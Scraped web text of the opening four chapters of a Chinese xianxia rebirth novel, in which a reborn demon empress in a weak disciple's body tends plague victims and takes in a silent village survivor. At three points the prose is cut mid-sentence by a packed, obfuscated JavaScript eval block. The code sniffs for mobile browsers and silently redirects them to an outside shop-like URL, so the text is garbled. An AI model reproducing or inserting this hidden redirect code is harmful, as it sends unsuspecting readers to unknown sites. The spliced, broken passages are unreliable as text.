《我派二师姐竟不是废柴》 1. 栖霞村「01」 七月份的蜀州天气总是格外闷热。 蜀州多山地,夏季也多雷雨,暴雨来之前往往闷热难忍。蜀州的空气像是死去多日的尸体的眼珠子,浑浊且沉闷地把山水和云天都罩在了里头。 过了许久,一只苍蝇落在那眼珠子上方,又嗡嗡着飞走了。 地板上的血早已干涸,腐败多日的尸体大片大片横陈在地上,有人类的,也有兽类的。死亡的气息伴随着满天乱飞的蝇虫,形成一幅遮天蔽日的地狱绘图。 仔细看去就会发现,那四处乱飞的蝇子也像失了智似的,倒像是在互相撕咬。不多时,天上就像下雨一般落下无数透明的虫翅,盖在满地干涸的血和尸体身上。 漫山遍野的死寂中,一道瘦小的影子突兀地从尸体堆里钻了出来,手脚并用、连滚带爬地往宗门外跑。 他的模样像是怕极了,六神无主,满面惊惶,才跑了没多远,便被脚下的尸体绊倒。他趔趄着从地上又爬起来,一脚便将昔日同门腐烂的头颅踢飞了,发疯似的继续跑着,仿佛那颗死不瞑目的头会飞起来朝他屁股后面咬上一口似的。 他大口喘着气,腐尸的恶臭味全被一口气全吸进了肚子里,熏得他的胃直抽搐。哪怕跑出了宗门,也仍不敢停,直到一头扎进荒无人烟的深山里,才终于虚软腿脚跌在地上,五脏六腑痉挛着干呕起来。 眼泪混杂着汗水一起往下淌,山风吹来了雨水的凉意,闷热了数天的蜀州终于要下雨了。 · 七月十五的第一声惊雷,将慕蓁从睡梦中惊醒了。 这一声雷简直堪比天崩地裂,好像世界真的在她的耳边崩塌了似的,震得她一个激灵,意识还没完全清醒,身体已经一个标准的鲤鱼打挺翻了起来。 随后,淅淅沥沥的雨声伴随着嘈杂的交谈,拥挤着一并塞进她逐渐恢复听力的耳朵里。她仿佛在空中飘了几万年一样遥远的灵魂砰地一声坠落,被夏季的炸雷一拳打进了躯壳,有了沉甸甸的重量。 睡了一整个世纪的慕蓁终于勉强撑开了眼皮。 她先是被这种近乎陌生的实体感震惊了片刻,晕晕乎乎地想:我在哪?我死了多久? 见到她醒来,耳边还没有雨点大的窃窃私语忽然大了起来,有人冲上来扶住了她的后背,叽叽喳喳地道:“慕蓁师姐,你可算醒了!” “师姐”? 这称呼可就有点遥远了。也就她还在灵隐山当弟子的时候才有人这样叫她。 慕蓁一边想,一边抬起头环视了一圈,映入眼帘的全都是陌生的面孔,没有一张是她叫得出名字的。她所在的地方也很陌生,是座破庙,看起来是这伙人临时避雨的。 不过她倒是认出来了,除了她之外,所有人身上全都穿着青云书院的弟子服。这是灵隐山教书学院的统一服饰,说明这些人全都是还没毕业的书院弟子。 意识沉睡了太久,突然间以这种不正常的形式醒过来,慕蓁只觉得太阳穴胀痛难忍,像是往脑袋里灌了整整一斤的酸水,周围人更是吵得她头疼。她皱着眉,试探问:“我怎么了?” “我们也不知道,”那比噪鹃都聒噪的是个女弟子,一脸急得快哭了的表情,“师姐刚刚突然一言不发就昏过去了,我们都吓坏了……” 慕蓁此时总算提起了些许精神,用灵力去探自己的内腑。 很好,丹田几乎空空如也,灵力低得就像根本不存在。 她前世好不容易堆起来的修为废了。 修为没了,灵力没了,但她的某些技能还没有完全丢失,五感都还很灵敏。比如这时候,她就能听见后排的两个弟子正在用低级传音符悄悄耳语:“我就说,她一个炼气阶,早晚出岔子。修为还没我高呢,就来带咱们的队,也不知道怎么想的。” 慕蓁心想,哦——原来她是这支队伍的带队人。 另一个男弟子神色紧张,传音劝他:“嘘,别说了,慕蓁师姐是剑尊的弟子,还是我们的领队,这是以下犯上。” “说了又怎样,我用的传音符,她听不见。”对方不以为然,“剑尊的弟子又如何,还不是天生废灵根,在灵隐山待了六十年也筑不成基,连灵剑都看不上她。这辈子也就当个下等医修,混混日子了。” “听不见”的慕蓁:“……” 孩子,没人告诉你不要买“拼好符”的劣质传音符吗?会漏音。 她再怎么说也是九州大陆的魔皇,竟然当着她的面说她的坏话,简直是活得不耐烦了! 慕蓁愤而起身,随后由于低血糖一阵晕眩,又一屁股跌回了地上。 炼气阶的身体素质好像比她想象中还弱,她现在脆得就像根用手一掰就会折成两瓣的秸秆。噪鹃师妹大呼小叫起来,和几个弟子一起把她扶到了屋内唯一一张椅子上。 慕蓁:“……” 算了,还是先让他不耐烦地活一阵子吧。 她的记性不太好,实在是记不起来自己是为什么和这些人在一块了,但凭着刚刚的观察,慕蓁已经基本能猜出自己现在的处境。 她应该是正在带青云书院的实习生们出任务。 这也是灵隐山的惯例了。灵隐山不分内外门,每年春季,宗门都会从弟子选拔上挑选根骨适合、十五岁左右的人进山。这些新弟子需要在青云书院内学习,完成为期十年的义务教育,方能从青云书院毕业,成为正式弟子。 而在这些弟子毕业之前,都会被要求完成足够数量的低阶任务,并且要拿到实习证明之后,才能被允许毕业。 第一次出任务的弟子都会由一名资深弟子领队,毫无疑问,带领这群新生执行这次任务的就是慕蓁。 “我没什么大事,低血糖而已,”慕蓁状态代入得很快,一秒入戏,摆摆手说,“冒昧问一句——我们任务进行到哪了?” 噪鹃师妹说道:“师姐,黑蚀疫早就解决了,只是雨太大了,我们都不敢御剑。” 慕蓁从破庙里探出头,看了一眼天。天幕依旧灰沉沉的,仿佛云层里漏了个窟窿,雨下不完似的,时不时还电闪雷鸣,要是御剑出行,倒霉的搞不好在飞行半途中就会被一场莫名其妙的雷劫劈得灰飞烟灭。 中州的夏季就是这样的天气。台风一来,中州各地就会迎来一场接一场的暴雨,时间久的甚至能连续一周不断。 要是在这儿等雨停,得等到猴年马月去。 慕蓁当机立断:“出发。” 实习生们愣了:“可是,我们的灵力可能不够续上避水术……” 话音未落,在实习生们的瞠目结舌中,慕蓁从自己的储物戒里掏出了一把油纸伞。 她用一种理所当然的诧异目光看着所有人,问道:“你们下雨天出门,不带伞吗?” 实习生:“……” 还真不带。 他们都是即将从青云书院毕业的弟子,修为都已经到了筑基,哪有人不会避水术的? “那没办法了,”慕蓁摊手,“只能用跑的了。跑得快的,在灵力耗尽之前能回到灵隐山去,那就不用淋雨了。” 七八月是中州的台风季。 大多数的人都对于暴雨习以为常,就连最擅长占卜和天象学的卦修都不会对此放在心上,哪怕今年夏季的雨水似乎比往年更丰沛,哪怕人界有一些地方已经在短短数日内就因为暴雨洪涝成灾。 比起凡人遭遇的微不足道的灾害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347512|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对于修真界来说,维护天堑结界的安全和人界的稳定才是重中之重。 不过很显然,今年的修真界和以往比起来并不太平。 执事堂的任务板面前已经站了好几个修士,正三三两两地聚在一起,议论着任务板上的内容。 今年从五月开始,中州各处就开始频繁爆发黑蚀疫,并且还出现了短时间内迅速向外扩散的趋势。灵隐山作为中州代表宗门,在管理中州的事情上自然义不容辞,执事堂连发数道紧急任务,派了大批的弟子前去净化,一时之间,整个灵隐山的低阶弟子们都忙得不可开交。 “才一个月的时间,中州这都第几起黑蚀疫了?”一名剑修低声问道。 旁边的医修回答他:“第五起了,数量上确实是频繁了点,万幸的是黑蚀疫出现的地方大都在荒郊野岭,没什么人员伤亡。” 他们这头才议论着,一队身穿书院服的弟子就出现在了执事堂的大门外。 灵隐山下了好几天的雨,执事堂的屋檐外大雨滂沱,他们身上的避水法术早已失效,一个接一个狼狈地淋着雨跳进屋檐内,头发和道袍都被雨水浇得湿透,模样不像是修士,倒是和山野间的平民村夫没什么两样。 在一众落汤鸡之中,只有一个少女分外格格不入。 她是唯一一个撑伞的,因而没有被雨淋湿,比起狼狈的其他人,就显得分外从容。唯有绯红色的裙摆被雨打湿了边缘,犹如一朵沾着露水的石榴花。 少女两步踏进执事堂,利落地将伞收拢,露出伞下一张芙蓉般清丽毓秀的面孔。她伸着手腕,将伞面上的水珠簌簌一抖,一面嘟哝:“今年这雨也忒大了,到底是谁家龙王在中州渡劫……这位师弟,你有空不?能否带他们去药王谷开点驱寒的丹药,万一他们成了第一批淋雨得风寒的修士,那可真是笑掉别人的大牙了。” “……慕蓁师姐?” 医修突然被点了名,脸上的表情还有点懵,还没反应过来,慕蓁哥俩好地一手搭上他的肩膀,笑着说:“回头我把我的两仪双生莲送你点。” 那医修的眼睛顿时一亮,嘴上客套地说了一句“师姐这不好吧太客气了”,身体却很实诚地迈步出去,给每个淋成了落汤鸡的实习生们施了一道避水法术,带着他们往药王谷的方向去了。 “师姐辛苦了,”执事堂的值班弟子将一袋灵石摆到台面上,“这次任务的报酬,师姐拿好。” 慕蓁取了灵石,拍了拍沾在袖口上的雨水,问道:“劳驾,我能看看今年一年的低阶任务记录吗?” 值班弟子有些诧异,不过这也不是什么机密,便很顺从地点了点头,从抽屉里翻出一沓厚厚的纸质记录递给她。 慕蓁翻开一看,“豁”地感慨了一声,好家伙。 这哪里是“有点频繁”,简直是把天灾当家常便饭。从今年一月到七月,灵隐山发布的“净化黑蚀疫”任务就有一共三十五条,平均每个月都有五条。这还是已经登记在册的,有些山旮旯野地爆发了黑蚀疫,中州的黑蚀监测仪未必会监测到。 试想一下某个地方每月都要火山喷发五次,谁能受得了? 结合了一下先前那位买拼好符的师弟说的一句“在灵隐山待了六十年”,不出意外,她现在所处的时间应该是修真界历法第一万零三年,距离九州大陆全面爆发黑蚀疫已经只剩不到一年。 整个九州的命运从这一刻起,就像吊在一根蛛丝上的石头,摇摇欲坠。 不巧的是,这个节骨眼上,她不是前世那个叱咤风云的魔皇,而是重生成了以前那个只有炼气阶的废柴。 让这时候的她去拯救世界? 这不是闹着玩呢吗?! 2. 栖霞村「02」 身为九州令人闻风丧胆的魔皇,慕蓁的一生简单又短暂。 当年修真界的史书是这样记载她的:凡人出身,折梅剑尊将其收为座下二弟子。然此子天生废灵根,于灵隐山修行六十年未筑基,至昆仑墟惨案后入魔,弑杀同门,叛逃修界,遁入魔域。 后来她遭到修真界围剿,与正道修士大战了五天五夜,史书的记载就变成了这样:正魔两道于魔域大战五日,魔道不敌,魔皇于正道围攻之下败走,殒于灵隐山横云峰顶。 至于她给修真界正道造成了多少损失,史书只字未提。 对此,已经成了灵魂的慕蓁只发出了意料之中的冷笑:呵。 总而言之,史书这两段文字,拢共短短几行,就是她的一生。 前世的她在临死前费劲了心思策划这一场重生,死后又在虚空里等了不知道多少年,为的就是能够重活一次,改变前世的结局。没想到重生就跟逗她玩似的,故意把时间点卡在一个不上不下的位置,现在的她既没有任何力量,也没有充足的时间去筹备一切。 慕蓁回了清静峰,把自己摔在床榻上,听着窗外连绵不息的雨声,捂着脸叹息,心想这世上果然是不会有馅饼从天上掉下来的。 屋外风雨如晦。苍穹青灰,灵山渺远而寂寥。 她已经很久没有看见过修真界的景色了。当年的她在魔域一待就是几十年,那里的天空终日被黑蚀笼罩,不见天日,只有万古长夜。 慕蓁睡了太长时间,已经没法再感到疲惫。她盯着天花板发了很久的呆,脑子里突兀地生出一种摆烂的想法来:不如就这样过一辈子算了。 眼下的九州还没有变天,所有的悲剧都还没有发生,她还是清静峰的二师姐,拥有着一眼就能看到头的咸鱼人生,以及史书寥寥几笔的短暂一生里最无忧无虑的一段时光。 她什么都不必背负,就把这一次重生当成某个午后休憩时的黄粱一梦,梦醒了,她还是清静峰没心没肺混日子的二师姐。 至于什么天道,什么拯救世界,什么魔皇,关她屁事。 就在她这样想的时候,挂在腰间的玉简忽然亮了起来。 那朦胧出现的消沉念头顿时散了个一干二净,慕蓁将通讯接起来,玉简另一头响起一个少年清朗的嗓音:“师姐,你现在在灵隐山吗?” 接到这通通讯的时候,慕蓁甚至都恍惚了一下,过了好一会儿才反应过来,这是她的三师弟迟简。 他的语速很快,似乎十分焦急。 慕蓁说道:“我在,怎么了?” 迟简急切地说:“我在山外清剿兽潮,这边的山谷里忽然出现黑蚀疫,那边是一座村子!现在消息还没传到灵隐山,再晚一点,恐怕村子里就没有幸存者了!” 慕蓁一顿。“那村子叫什么名?” 迟简道:“栖霞村。” 挂断了通讯,在床榻上还没瘫痪多长时间的慕蓁认命地爬了起来,换衣、穿鞋、拿伞出门,一气呵成,像个上了发条的人偶。 “我怕不是天生就是劳碌命吧,”她摸了摸后颈,自嘲地想,“不往自己身上揽点什么活就浑身痒痒。” 虽说是这么想着,她还是出了灵隐山。 由于没有灵剑,她无法使用御剑术,再加上山外依旧雷电交加,也实在不是一个御剑的好时机。慕蓁熟练地用灵石兑了铜钱,在山外的某个凡人小镇上租了一匹马,一边在玉简里询问迟简具体信息,一边冒着雨骑马直奔他所说的那个村子。 临行之前,迟简已经把栖霞村的事上报给了灵隐山,但栖霞村毕竟只是个不起眼的小山村,在修真界的眼中并不算重要。要是等灵隐山慢悠悠地发布任务,再召集接取任务的弟子出发,至少也得等到一两天后了。 迟简和慕蓁这样亲身经历过黑蚀疫的人,比寻常人更清楚那是一种多么可怕的灾难。 慕蓁马不停蹄地赶了一天路,终于在夜幕降临之后抵达了栖霞村口。 迟简大概是被兽潮缠住了,此时还没有出现,玉简信息也迟迟未回。慕蓁翻身下了马,撑着伞,沐雨走向了栖霞村。 然而一踏入村口,慕蓁就知道自己来晚了。 山村的上方萦绕着一种无言的阴霾,枯死的树木和草地都透着不祥的黑色。变成了活尸的村民们在本能驱使的厮杀下死了大半,大雨也没能把空气中的血腥气冲刷干净,地上的雨水早已被血染成红色。 慕蓁快步淌过被鲜血染红的雨水,在尸横遍野的街道上穿行。有几只尚还苟延残喘的活尸,对慕蓁这大活人却毫无反应,只是佝偻着腰骨,以不正常的扭曲姿态在地上缓慢行走,大张的嘴巴里流下一串串唾液,和浑浊的雨水混杂在一起。 她绕开了那些活尸,巡视过村庄的每个角落,试图看看能否找到一名幸存者。 但事实上她心里也明白,黑蚀疫一旦出现,整片区域就会被死气包围,草木枯萎,走兽发狂,凡人化作行尸走肉。在这里寻找幸存者,几乎是完全不可能的事情。 少女撑着油纸伞穿过瓢泼大雨,灰色的雨幕之下,那一身绯红外袍和雪白内衬格外惹眼,像一团在雪地中燃烧的火苗。 拐过小巷的转角,一道电光从血色的苍穹划过,顷刻间将地面照得犹如白昼。惊雷响起的瞬间,慕蓁忽然停了下来。 一个蜷缩在角落里的影子,在电光亮起的一刹那跃入了她的眼帘。 那是个瘦弱的活人少年,紧闭着双眼,不知道在角落里藏匿了多久,身上的衣服沾满了雨水和血污。他似乎察觉到什么,沉重而缓慢地抬起眼皮。 暴雨倾盆。血色倾轧的夜幕下,少年隔着尸山血海看了她一眼,漆黑的眼瞳隐在夜色和大雨中,像是两枚黯淡的星。 震耳欲聋的雷声中,她的玉简亮了起来,迟简的声音穿过雨幕响起:“师姐!我带着出任务的队友一起来了,你现在在哪里?” “我在村子里。”慕蓁低头看了一眼角落里的少年,说道,“这里……还剩一个幸存者。” · 一刻钟后,迟简终于带着其他人赶到了栖霞村。 这支队伍并不是新手,成员大都是筑基后期和金丹期的修士, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的修为太低,还做不到能让这么深的伤口立刻恢复如初,只能勉强让伤口恢复个七八成。饶是如此,众剑修们也已经很是感激,不停说着谢谢。 “他……怎么办?”迟简说道,“要带回去吗?” 说完,他隐晦地看了一眼那个从灾难中幸存的少年。 他拒绝了慕蓁给他的棉帕,却一直跟在慕蓁身边,自始至终,不论别人问他什么,他都保持着沉默,一言不发。 “这是那个从村子里救出来的……呃,小孩?”一名剑修捂着口鼻,低声和其他人交流,“他看起来也太冷静了吧?” 另一人道:“或许是吓傻了。你想,正常人看见自己的家园一夜之间就没了,不都会觉得像在做梦么?” 剑修若有所思地点点头:“那这孩子怎么办?” 众人皆对视一眼,都从彼此眼中看见了了然。 能够从黑蚀疫中毫发无损地存活下来,这是概率极小的事,相当于在万顷沙漠中随手一捞就捞出一枚金子。毫无疑问,这样的天选之子,这个少年不论身份如何,注定要被带上灵隐山接受一番调查。 慕蓁转过头,看向了身后缄默的少年。晨曦之中,那张沾满血腥和泥泞的脸上没有丝毫劫后余生的喜悦,只是平静地看着她,深黑的瞳孔像是在霜雪中淬过的一丛利刃,冰冷又纯粹。 就像其他人说的一样,他冷静得有些过分了。 “喂,小鬼,”慕蓁对他露出一个笑容,“反正你也没地方去了,跟我们回灵隐山吧?” 3. 栖霞村「03」 栖霞村的黑蚀疫情况比预期的还要严重。 沦陷在黑蚀中的不只有栖霞村,而是以栖霞村为中心方圆十里的大半座山。整片山谷仿佛世界末日降临一般,到处都充斥着令人不安的黑色。黑蚀所到之处,生灵涂炭,寸草不生,除却焦炭般的枯草和枯木,一些来不及逃跑的走兽尸体也随处可见。 最令人窒息的是,在这片山谷里,不只有栖霞村一处人类聚居地。 “中州的黑蚀疫已经这么严重了吗?”队伍中的剑修挥剑斩下最后一头活尸的头颅,擦了把汗,“这都第几个村子了?” “第三个了。”迟简回答他,“伤亡人数已经达到中等级别了。被污染的范围太大,等净化了这个村子,我会向灵隐山发送汇报,请人支援。” 寻常黑蚀地区倒也不算麻烦,只要将灵力注入地下,一段时间后就能让黑蚀恢复正常。但要清理一整个村落的活尸,就不是桩简单的活了。 几天下来,他们途径三个人界村落,沿途一边净化黑蚀疫,一边斩杀活尸,几乎没有休息过,就连迟简这样金丹中期的修士,也有些支撑不住。 “休息一下吧。”慕蓁说道,“尸体交给我来烧。西面二十丈的街道尽头有间院子,没有尸体,看着还算干净,今夜可以在这里休整一阵,等支援来了再出发。” 这些天剑修们灵力也耗去不少,早就累得半死不活,没人有异议,不少人都往院子的方向去了。还剩几个尚有余力的,主动留下来帮慕蓁一起清理和焚烧道路上的尸体。 慕蓁挽着袖口和裤腿,一边把尸体拖到焚烧的空地上,一边借着余光打量跟在她身后的人。 这个从栖霞村救出来的少年始终跟着他们,平日里一言不发,需要烧尸体或是其他善后工作时,才会默默地上前帮忙。 起初迟简还提议让其他人先带他回灵隐山,但他好像认定了慕蓁一个人似的,只肯跟在她的身后。 而慕蓁作为队伍里仅有的医修,其他剑修弟子受了伤,她又实在走不开。无奈之下,只能带着他一起上路,沿途用灵力罩在他的身上,避免他被黑蚀疫感染。 终于,在辛勤地拖了大半天的尸体之后,他们总算把满是污血的街道收拾得差不多了。同样是将尸体堆在一处,浇上火油,一把火全部点燃。 少年像其他人一样,将点燃了的木柴朝尸体堆上一扔,便沉默着后退到慕蓁的身后。 他脸上几乎没有出现过别的表情,在看见其他村子里的活尸时,也没有任何触景生情的恐惧或是痛苦。包括焚烧尸体的时候,他的表现就像在看村子里焚烧秸秆和木柴。 若说前些天他的冷静还只是令人诧异的话,现在的他冷漠得让人有些毛骨悚然。其他剑修都莫名其妙的有些怵他,下意识地要和他拉开一小段距离。 只有慕蓁,不光不怕,还没事就言语骚扰他:“哎,你站远点,再远点……离这么近,等会别被腌入味了……不对,你身上是不是已经有味道了?” 众剑修:“……” 这对话让他们起了些许危机感,纵使每个人都会清洁术,也还是下意识地默默又离那尸体堆更远了一些。 少年不说话,也不回应,偶尔才眨一下眼,以示他不是一具被黑蚀疫感染的行尸走肉,而是个大活人。 天外的云团又开始聚集,空中风声愈厉,已经隐隐能听见远处的滚雷,又是一个不适合御剑的天气。慕蓁的目光越过高高的尸山看向天际,仿佛能感觉到阴翳正在逐渐降临到她的头顶。 修真界历法第一万零三年,也就是今年,是动荡刚刚开始的年份。 这一年,大□□处天灾频发、危机不断,天堑结界出现异动。后世的人们回过头来才发现,这些全都是山雨欲来的征兆。 大范围爆发的黑蚀疫,只不过是天灾的其中一环而已。 她正盯着天边的积雨云想得出神时,一声惊叫伴随着轰隆隆的雷声骤然划破长空。 叫声是从剑修们休息的院子里传来的。 留在外面的众修神色俱是一惊,纷纷拔腿朝着西面的小院跑去! 院子里已经乱作一团,好几个人都惊慌失措地跑到了院门外,见他们跑向院子,神色反倒更加惊惧:“别进去!” 外头的剑修们一时惶惶然,谁也不知道发生了什么,都只是踟蹰在门口不敢入内。 最后还是慕蓁拨开了前面的人,挤进院子里:“怎么了?你们……” 迟简最后一个从屋里走了出来。 他的脸色有些凝重,看了慕蓁一眼,压低了声音,说道:“师姐,情况不太对。前几天受伤的几个人都出事了。” 慕蓁从他的欲言又止中看出了什么,紧走两步,推开房门进去。 屋内此时只有六个人躺在地上,都是前些天受过伤的。他们的伤口位置不同,轻重深浅也不一,但此时无一例外都已经感染了,血肉模糊的狰狞创口正在向外渗出浊黄的脓液,甚至还有进一步恶化的趋势。 由于伤口感染,患者都发着热,躺在地上浑浑噩噩地说着胡话。 这显然是不正常的,在栖霞村当天,慕蓁已经用灵力治疗过他们的伤口,虽然当场没有完全治愈,但要不了几天,那些伤也会自己恢复。 可是两天过去,他们的伤情反而恶化了。 “他们的伤口根本不愈合,”一名站在门外的剑修满面恐惧,“这,这症状分明是……” 慕蓁伏下身,仔细观察着那外翻的血肉。他人肉眼中再寻常不过的伤口中,她却能见到有丝丝缕缕的黑气,像蛆虫一般从骨髓中钻出。 “是黑蚀疫。”她在心中接上了那句没说出口的下半句话。 难怪他们这样如临大敌。 凡人、凡界遇上黑蚀疫,最多不过是草木枯死,人和动物丧失生气变成行尸走肉,虽然看着可怕,但修士尚能应付。 然而修士如果不慎染上黑蚀疫,情况就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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众人争吵的声音像一把凿子,直往慕蓁的脑壳里钻,慕蓁被他们闹得头疼,太阳穴一突一突地跳,终于忍无可忍:“都闭嘴!” 吵吵嚷嚷的院子登时安静下来。 不知怎的,她的修为分明是所有人里最低的那一个,这一声吼却愣是震慑住了剑修们,刚刚还在吵架的几个弟子都半张着嘴,瞠目结舌地瞪着她,满脸的不知所措。 就连迟简也听呆了,侧过头来,有些惊讶地看着她。 屋里一静,那种让人难以忍受的聒噪和烦躁瞬间平息,慕蓁深吸一口气,语气也恢复了正常:“我是说,我知道你们很急,但是你们先别急。来个人搭把手,把他们都抬到屋里面去,迟简,立刻通知灵隐山,紧急召集药王谷弟子,让他们多带点两仪双生莲,越快越好。” 话音刚落,窗外轰隆一声惊雷从天而降,狂风四起,雨声骤至。 中州又一场漫长的雷雨落下了。 4. 栖霞村「04」 屋外大雨滂沱,屋内兵荒马乱。 厚重的乌云几乎将天光完全遮住,分明是下午时分,天色看上去却和夜晚没什么区别,屋子里的光线昏暗得令人绝望。众人在村子里搜罗了好几盏油灯和烛火,又寻了几面镜子架在屋子里,才让屋内明亮了一些。 伤患被抬到了床上,四五面镜子照着,活像被架上祭台任人刀俎的牲畜。 事实也差不多——慕蓁就站在旁边,手中拿着淬过酒和火的匕首,对着那伤口比划了几秒,沿着腐肉的边缘切了下去。 受到痛觉刺激,原本已经昏迷了的伤患身体猛地一痉挛,本能地挣扎起来。慕蓁眼疾嘴快地命令:“快把他按住!” 两三名剑修连忙上来,一人一边胳膊腿,把患者按得死死的。屋内传来压抑又崩溃的惨嚎,听得院子里避雨的众修士们起了一身鸡皮疙瘩。 修真界的医术发展至今,“清创”这种低效的古法治疗已经很久没有人使用过了,许多时候只需要医修弟子付出一些灵力就能治疗外伤。但眼下由于黑蚀疫,患者的伤口无法依靠灵力愈合,他们只能效仿凡人,动用最古老和传统的手法。 山外医疗条件太过简陋,她这趟出门又急,什么也没有带,连给患者麻醉都无法做到,原本简单的清创手术刚一上来就是地狱难度。她只能弯着腰,用借来的小刀一点点剔除患者伤口处坏死的腐肉。 这是极其需要耐心和精细的工作,在场所有人除了她这个正儿八经的医修之外,没有任何人能够做到。 热水一盆盆地端进来,血水一盆盆地端出去,窗外雷电交加,雨仍旧没有要停的意思。 每个人心中都很焦虑。雷雨天无法御剑,大雨拖慢了灵隐山支援的速度,直到夜幕降临,也依然没有任何一名医修出现在他们的院外。 不过这雨下得这么大,也断了一些人想要把伤患送去灵池的心思。无法御剑,他们就相当于被困在了这院子里,若是步行走回灵隐山,至少也要一两天的脚程——真要这样做的话,他们现在就可以给这几个伤患准备后事了。 终于完成第一个患者的伤口清创已经是一个时辰后,慕蓁筋疲力竭。 而这样的患者还有五个。 她一面往患者嘴里塞清心丹,将沾了冷水的布条敷在患者额头上降温,一面对旁边的人说道:“两仪双生莲和金疮药碾好了没有?那是我最后一个研磨杵了,你们给我珍惜着用啊,别再一个手滑把它敲碎了!碾的时候不用那么大力气……” 话音未落,一只碗已经递到了她跟前,慕蓁顺手接过,抬头刚想说句谢谢,就愣了一下。 递碗的人是那栖霞村的少年。 慕蓁以为场面如此混乱,他身为外人,理应会在屋外待着,没想到他好像一直在屋子里,甚至还顺手帮她磨了一碗药粉。 她只停顿了一秒,就立刻转头兴师问罪:“谁把他放进来的?也没人往他身上套点灵力,万一感染了黑蚀疫怎么办?快把他带出去!” 又是打水又是抬伤患的剑修们忙得晕头转向,闻言连忙赶过来,三下五除二把少年架走了。 手术一直进行到后半夜。 等到六个患者的伤情终于渐渐稳定下来,烧退了、伤口也暂时没有继续恶化时,慕蓁已经连抬起一根手指的力气也没有了。 “迟简呢?”她有气无力地问。 “迟简师兄他……”旁边的剑修嗫嚅着说,“他冒雨御剑回灵隐山搬救兵去了。” 慕蓁:“……” 她差点气笑了。 外面电闪雷鸣的,他这时候御剑出门,就跟大号的引雷针没什么区别,纯粹是奔着招雷劈去的。 但她也没力气骂人了,只能一边从地上爬起来,一边嘱咐旁边的剑修:“别太早松懈了,这样没法根治黑蚀疫,只是缓兵之计而已。我身上带的两仪双生莲不多,只够用到明天,你们今夜轮流换班看着他们的情况,如果伤口上的两仪双生莲消耗完了,就敷新的上去……” 她刚站起来,就猛地感觉到一阵天旋地转,差点直接栽到患者身上。 “慕蓁师姐!”旁边的人连忙拉住她,却被她手上的温度吓了一跳,“师姐,你的手怎么这么烫?” 夜色已经完全笼罩了窗外的大地,窗口吹来一阵凉风,慕蓁的鼻子不争气地痒了一下,应声打出个喷嚏。 她后知后觉脑袋昏沉得厉害。 回归炼气期的身体简直是弱不禁风,她刚重生回来就在暴雨天里跑了好几日,今夜又高强度地集中精神动了一晚上手术,好像有些着凉了。 前两天她还开玩笑说青云书院的实习生们会成为第一批淋雨得风寒的修士,现在可好,笑掉别人大牙的成了她自己。 “可能是风寒,不碍事,”她摆摆手,“我去旁边屋子里休息一会儿。” 说完,她捂着脑袋,摇摇晃晃地往外走去。 从里屋走到隔壁间,不过几步路的距离,慕蓁却觉得双腿像灌了铅在沼泽里走,简直是举步维艰。 她昏沉的脑袋已经进入了一种半待机状态,好像一个半梦半醒的人,看似一根神经还吊在理智上,其实脑海里乱七八糟的像在放烟花,什么都想。 慕蓁想,上一次感觉到这种走不动路的沉重是什么时候? 是在她刚刚从灵隐山逃出来的时候吗?那会儿她被修真界通缉,拖着一副伤痕累累的残躯,好不容易逃到天堑结界的边缘,全身都没了力气。荒芜的旷野上没有别的生物,满天的星星都眨着眼注视着她一个人,漆黑的天幕像一张吸满了水的棉被,严严实实地罩在她的头顶上,压得她喘不过来气。 又或者是她临死前踏上灵隐山的时候?那天下了很大的雪,几乎没过她的膝盖。中州从没下过这样大的雪,仿佛每一朵雪花都藏着一个死在镇魔塔和魔域的灵魂,雪中迈出的每一步都要花费很大的力气。她背着无数人的遗物,背着他们跨越了百年的记忆,从山脚下一直走到了山顶,走了很远很远。 最后慕蓁浑浑噩噩的脑子也记不清了。反正她习惯了一个人背着很多东西前行,脚步重一些也是在所难免的。 她恍惚间以为自己是走在回自家的路上,昏昏沉沉地蹭到了房门口,刚刚摸到了大门把手,整个人顿时仿佛被抽走了傀儡丝的木偶似的,一头栽向地板。 ……然后被人接了个满怀。 她的屋里竟然有人! 慕蓁瞬间寒毛都立起来了,模糊的神志顿时清明大半,整个人都像在腊月天里被浇了盆冷水似的清醒。她下意识地就把人往外一推,条件反射地想取自己的武器—— 然后摸了个空。 她那应激的大脑这才冷静了一下,骤然想起,自己不在魔域,也不在灵隐山上,而是在山外凡人地界的某个山旮旯村子里。 接住她的人是那个栖霞村的少年。 他面上应该是没什么表情的,只是屋里点了盏油灯,灯光昏黄,暖色的光晕把他冷硬的面部线条勾画得柔软而温暖。 慕蓁措不及防,愣了半天才道:“你……” 少年不说话,虽然接住了她,却也没有要把她扶到一边去的意思,只是像尊木头似的呆站着,眉头微皱。 慕蓁试着品了品,没品出他是什么意思。 她这辈子遇到的“冷脸”角色很多,有她师尊那种平等地看不起所有人的真面瘫,也有她师兄这种看着冷漠其实单纯只是脑子不好的人机,但还是头一次遇到这种仿佛语言功能障碍的闷罐,三棍子下去也憋不出一个屁,完全猜不到他脑子里在想些什么。 最后她斟酌着,选了一个中肯的答案:“你……是不是有话要和我说?” 没想到竟真叫她猜对了正确答案,少年点了头。 慕蓁扶了扶额。 什么毛病,有话就不能直接说,非要她问? 她忍着头昏脑涨,在床边上坐下来,尽量耐心地问道:“你要说什么?” 少年沉默地打量着她,直到慕蓁险些困得要当场睡过去之后,才开口道:“你看起来和别人不一样。” ……什么不一样? 她现在的大脑完全处理不了这么一句语焉不详的谜语。 但这也不是少年的目的,还没等她说出什么,他就问出了下一个问题:“黑蚀疫,是什么?” …… 